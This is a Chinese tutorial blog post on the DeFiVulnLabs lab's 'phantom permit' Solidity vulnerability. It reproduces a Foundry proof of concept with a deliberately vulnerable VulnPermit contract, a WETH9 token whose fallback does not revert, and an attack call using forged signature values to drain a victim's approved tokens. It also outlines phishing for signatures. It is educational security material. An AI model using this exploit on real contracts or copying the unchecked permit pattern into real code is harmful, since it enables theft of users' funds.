DeFiVulnLabs靶场全系列详解(二十八)许可函数绕过(Phantom方法,Permit方法)

admin 2025年6月26日00:06:08评论0 views字数 10366阅读34分33秒阅读模式
01—前言
此内容仅作为展示Solidity常见错误的概念证明。它严格用于教育目的,不应被解释为鼓励或认可任何形式的非法活动或实际的黑客攻击企图。所提供的信息仅供参考和学习,基于此内容采取的任何行动均由个人全权负责。使用这些信息应遵守适用的法律、法规和道德标准。
DeFiVulnLabs一共有47个漏洞实验,包括各种经典的合约漏洞和一些少见的可能造成安全问题的不安全代码,本系列将逐一解析每个漏洞,包括官方的解释和自己的理解。

         新增了一个实验,现在DefiVlunLabs存在48个实验

02—Phantom permit函数授权漏洞
前言:
  permit函数是EIP-2612定义的一个函数,它允许用户(代币持有者)通过链下签名的方式(类似交易签名),授权给另一个地址(一个合约或外部账户)代表他们去花费一定数量的代币。
  也就是另外一种方式的approve函数,比如approve函数的调用,就需要单独发一笔approve交易给合约,调用成功后再去执行其他的交易,例如存入,交换等。
  而permit函数呢就可以接受一个链下的签名来进行校验,支持permit的合约在收到Permit调用时候,会严格检查传入的签名的信息(额度,授权对象,有效期)等信息,如果无效则回滚。
漏洞解析:
    当目标代币不支持permit但是拥有fallback函数就容易遭受漏洞的攻击。
    例如例如该代币合约包含一个fallback函数,当接收到permit的链下签名后,会要求执行permit函数,但是此时合约被要求执行了一个内部它没有定义的函数,就会触发fallback函数
    而此时fallback函数恰好是不没有被正确实现的(不回滚的),那么此时的permit函数就被称为幽灵函数,也就是phantom(幽灵)permit 函数
总的来说流程就是:
   发送链下签名交易  -> 找不到匹配项 -> 触发 fallback 函数 -> 而这个 fallback 恰好是不回滚的
那么攻击者就可以构造:
     1、攻击者可以设置钓鱼网站或者恶意的DAPP界面来发起一个看起来无害的permit签名,或者使用一些话术让用户自己生成这个permit签名_permitCalldata。
    2、然后攻击者拿着这个permitCalldata对不支持permit且存在不正确实现fallback的受害目标代币合约进行请求。
     3、目标代币合约此时接收到permitCalldata,知道了你的函数选择器是permit,要去请求它,但是没有这个函数,所以会自动触发fallback函数,恰好目标合约代币的fallback没有revert,返回是success = true。
    4、第三方合约调用了目标代币合约且很简单的判断success = true 是否执行成功,而不验证其他的流程(例如余额,日志事件等),就直接进行后续的业务逻辑。
总结漏洞成因:
    1、目标代币函数存在fallback函数且简单定义,且目标代币函数没有Permit(不复合EIP-2612)
    2、第三方合约(例如交易所合约)调用这个目标代币函数,且以简单的success = true 来判断合约是否支持permit链下交易。
    3、修复的关键在于执行 permit 调用的合约(可能是 DEX Router、Vault 或任何需要用户授权的合约),它应该严格验证目标代币是否真正支持 permit,并且 permit 调用确实执行了授权
代码地址:

https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/phantom-permit.sol

代码解析:

// SPDX-License-Identifier: MITpragma solidity ^0.8.18;import "forge-std/Test.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";contract ContractTest is Test {    VulnPermit VulnPermitContract;    WETH9 WETH9Contract;    function setUp() public {        WETH9Contract = new WETH9();        VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));    }    function testVulnPhantomPermit() public {        address alice = vm.addr(1);        vm.deal(address(alice), 10 ether);        vm.startPrank(alice);        WETH9Contract.deposit{value10 ether}();        WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);        vm.stopPrank();        console.log(            "start WETH balanceOf this",            WETH9Contract.balanceOf(address(this))        );        VulnPermitContract.depositWithPermit(            address(alice),            1000,            27,            0x0,            0x0        );        uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));        console.log("WETH balanceOf VulnPermitContract", wbal);        VulnPermitContract.withdraw(1000);        wbal = WETH9Contract.balanceOf(address(this));        console.log("WETH9Contract balanceOf this", wbal);    }    receive() external payable {}}contract VulnPermit {    IERC20 public token;    constructor(IERC20 _token) {        token = _token;    }    function deposit(uint256 amountpublic {        require(            token.transferFrom(msg.sender, address(this), amount),            "Transfer failed"        );    }    function depositWithPermit(        address target,        uint256 amount,        uint8 v,        bytes32 r,        bytes32 s    ) public {        (bool success, ) = address(token).call(            abi.encodeWithSignature(                "permit(address,uint256,uint8,bytes32,bytes32)",                target,                amount,                v,                r,                s            )        );        require(success, "Permit failed");        require(            token.transferFrom(target, address(this), amount),            "Transfer failed"        );    }    function withdraw(uint256 amountpublic {        require(token.transfer(msg.sender, amount), "Transfer failed");    }}// contract Permit {//     IERC20 public token;//     constructor(IERC20 _token) {//         token = _token;//     }//     function deposit(uint256 amount) public {//         require(//             token.transferFrom(msg.sender, address(this), amount),//             "Transfer failed"//         );//     }//     function depositWithPermit(//         address target,//         uint256 amount,//         uint8 v,//         bytes32 r,//         bytes32 s//     ) public {//         (bool success, ) = address(token).call(//             abi.encodeWithSignature(//                 "permit(address,uint256,uint8,bytes32,bytes32)",//                 target,//                 amount,//                 v,//                 r,//                 s//             )//         );//         require(success, "Permit failed");//         require(//             token.transferFrom(target, address(this), amount),//             "Transfer failed"//         );//     }//     function withdraw(uint256 amount) public {//         require(token.transfer(msg.sender, amount), "Transfer failed");//     }// }contract WETH9 {    string public name = "Wrapped Ether";    string public symbol = "WETH";    uint8 public decimals = 18;    eventApproval(address indexed src, address indexed guy, uint wad);    eventTransfer(address indexed src, address indexed dst, uint wad);    eventDeposit(address indexed dst, uint wad);    eventWithdrawal(address indexed src, uint wad);    mapping(address => uintpublic balanceOf;    mapping(address => mapping(address => uint)) public allowance;    fallback() external payable {        deposit();    }    receive() external payable {}    function deposit() public payable {        balanceOf[msg.sender] += msg.value;        emit Deposit(msg.sender, msg.value);    }    function withdraw(uint wadpublic {        require(balanceOf[msg.sender] >= wad);        balanceOf[msg.sender] -= wad;        payable(msg.sender).transfer(wad);        emit Withdrawal(msg.sender, wad);    }    function totalSupply() public view returns (uint) {        return address(this).balance;    }    function approve(address guy, uint wadpublicreturns (bool) {        allowance[msg.sender][guy] = wad;        emit Approval(msg.sender, guy, wad);        return true;    }    function transfer(address dst, uint wadpublicreturns (bool) {        return transferFrom(msg.sender, dst, wad);    }    function transferFrom(        address src,        address dst,        uint wad    ) public returns (bool) {        require(balanceOf[src] >= wad);        if (            src != msg.sender && allowance[src][msg.sender] != type(uint128).max        ) {            require(allowance[src][msg.sender] >= wad);            allowance[src][msg.sender] -= wad;        }        balanceOf[src] -= wad;        balanceOf[dst] += wad;        emit Transfer(src, dst, wad);        return true;    }}
上述主要漏洞组成代码为 WETH9合约和VulnPermit合约

contract WETH9 {    string public name = "Wrapped Ether";    string public symbol = "WETH";    uint8 public decimals = 18;    eventApproval(address indexed src, address indexed guy, uint wad);    eventTransfer(address indexed src, address indexed dst, uint wad);    eventDeposit(address indexed dst, uint wad);    eventWithdrawal(address indexed src, uint wad);    mapping(address => uintpublic balanceOf;    mapping(address => mapping(address => uint)) public allowance;    fallback() external payable {        deposit();    }    receive() external payable {}    function deposit() public payable {        balanceOf[msg.sender] += msg.value;        emit Deposit(msg.sender, msg.value);    }    function withdraw(uint wadpublic {        require(balanceOf[msg.sender] >= wad);        balanceOf[msg.sender] -= wad;        payable(msg.sender).transfer(wad);        emit Withdrawal(msg.sender, wad);    }    function totalSupply() public view returns (uint) {        return address(this).balance;    }    function approve(address guy, uint wadpublicreturns (bool) {        allowance[msg.sender][guy] = wad;        emit Approval(msg.sender, guy, wad);        return true;    }    function transfer(address dst, uint wadpublicreturns (bool) {        return transferFrom(msg.sender, dst, wad);    }    function transferFrom(        address src,        address dst,        uint wad    ) public returns (bool) {        require(balanceOf[src] >= wad);        if (            src != msg.sender && allowance[src][msg.sender] != type(uint128).max        ) {            require(allowance[src][msg.sender] >= wad);            allowance[src][msg.sender] -= wad;        }        balanceOf[src] -= wad;        balanceOf[dst] += wad;        emit Transfer(src, dst, wad);        return true;    }}
肢解上述代码:

可以看到WETH9的fallback函数就很简单,当发现了别人调用了不存在的函数后,就会调用deposit这是漏洞存在的第一前提条件
fallback() external payable {   deposit();}

而且WETH9里没有实现permit函数

VulnPermit合约是漏洞存在的核心

主要存在的漏洞的方法是depositWithPermit,可以看到这里主要的校验就是 (bool success, ) = address(token).call和require(success,"permit failed")

通过检查后,然后就调用了token.transferFrom(target, address(this), amount)函数

contract VulnPermit {    IERC20 public token;    constructor(IERC20 _token) {        token = _token;    }    function deposit(uint256 amountpublic {        require(            token.transferFrom(msg.senderaddress(this), amount),            "Transfer failed"        );    }    function depositWithPermit(        address target,        uint256 amount,        uint8 v,        bytes32 r,        bytes32 s    ) public {        (bool success, ) = address(token).call(            abi.encodeWithSignature(                "permit(address,uint256,uint8,bytes32,bytes32)",                target,                amount,                v,                r,                s            )        );        require(success, "Permit failed");        require(            token.transferFrom(target, address(this), amount),            "Transfer failed"        );    }    function withdraw(uint256 amountpublic {        require(token.transfer(msg.sender, amount), "Transfer failed");    }}
03—利用过程
所以结合上面的代码和漏洞原理,整个攻击流程就是如下:
    1、攻击者编写恶意的dapp或者钓鱼网站诱导受害者进行拥有的存在"缺陷"代币合约进行Permit签名。
    2、攻击者拿到签名后调用第三方合约(交易所)的depositWithPermit方法。
    3、由于第三方合约没有permit函数,因此触发fallback--> deposit
    4、合约以为permit()授权成功,直接转走受害者的资金。
contract ContractTest is Test {    VulnPermit VulnPermitContract;    WETH9 WETH9Contract;    function setUp() public {        WETH9Contract = new WETH9();        VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));    }    function testVulnPhantomPermit() public {        address alice = vm.addr(1);        vm.deal(address(alice), 10 ether);        vm.startPrank(alice);        WETH9Contract.deposit{value10 ether}();        WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);        vm.stopPrank();        console.log(            "start WETH balanceOf this",            WETH9Contract.balanceOf(address(this))        );        VulnPermitContract.depositWithPermit(            address(alice),            1000,            27,            0x0,            0x0        );        uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));        console.log("WETH balanceOf VulnPermitContract", wbal);        VulnPermitContract.withdraw(1000);        wbal = WETH9Contract.balanceOf(address(this));        console.log("WETH9Contract balanceOf this", wbal);    }    receive() external payable {}}
主要可以查看这个:
准备动作
address alice = vm.addr(1);                      // 创建测试账户Alicevm.deal(address(alice), 10 ether);              // 给Alice充值10 ETHvm.startPrank(alice);                           // 切换至Alice操作WETH9Contract.deposit{value: 10 ether}();        // Alice存入ETH换取WETHWETH9Contract.approve(  address(VulnPermitContract),   type(uint256).max); // 批准VulnPermit无限转账vm.stopPrank();
  触发攻击
VulnPermitContract.depositWithPermit(    address(alice),    // 指定受害者为Alice1000,             // 转移金额 (1000 wei)27,               // 伪造的v值 (27无效但会被接受)0x0,              // 伪造的r值0x0               // 伪造的s值);
DeFiVulnLabs靶场全系列详解(二十八)许可函数绕过(Phantom方法,Permit方法)

原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(二十八)许可函数绕过(Phantom方法,Permit方法)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日00:06:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DeFiVulnLabs靶场全系列详解(二十八)许可函数绕过(Phantom方法,Permit方法)https://cn-sec.com/archives/4200552.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息